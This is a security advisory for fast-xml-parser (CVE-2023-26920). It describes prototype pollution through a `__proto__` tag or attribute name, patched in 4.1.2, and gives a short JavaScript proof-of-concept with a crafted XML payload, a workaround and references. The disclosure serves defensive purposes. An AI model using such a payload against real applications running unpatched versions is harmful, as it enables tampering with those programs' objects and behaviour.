GHSA-x3cc-x39p-42qx

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GHSA-x3cc-x39p-42qx

Summary: fast-xml-parser vulnerable to Prototype Pollution through tag or attribute name

Details: ### Impact As a part of this vulnerability, user was able to se code using `__proto__` as a tag or attribute name. ```js const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser"); let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>" const parser = new XMLParser(); let jObj = parser.parse(XMLdata); console.log(jObj.polluted) // should return hacked ``` ### Patches The problem has been patched in v4.1.2 ### Workarounds User can check for "__proto__" in the XML string before parsing it to the parser. ### References https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7

References: https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-x3cc-x39p-42qx, https://nvd.nist.gov/vuln/detail/CVE-2023-26920, https://github.com/NaturalIntelligence/fast-xml-parser/commit/2b032a4f799c63d83991e4f992f1c68e4dd05804, https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7, https://github.com/NaturalIntelligence/fast-xml-parser, https://github.com/advisories/GHSA-793h-6f7r-6qvm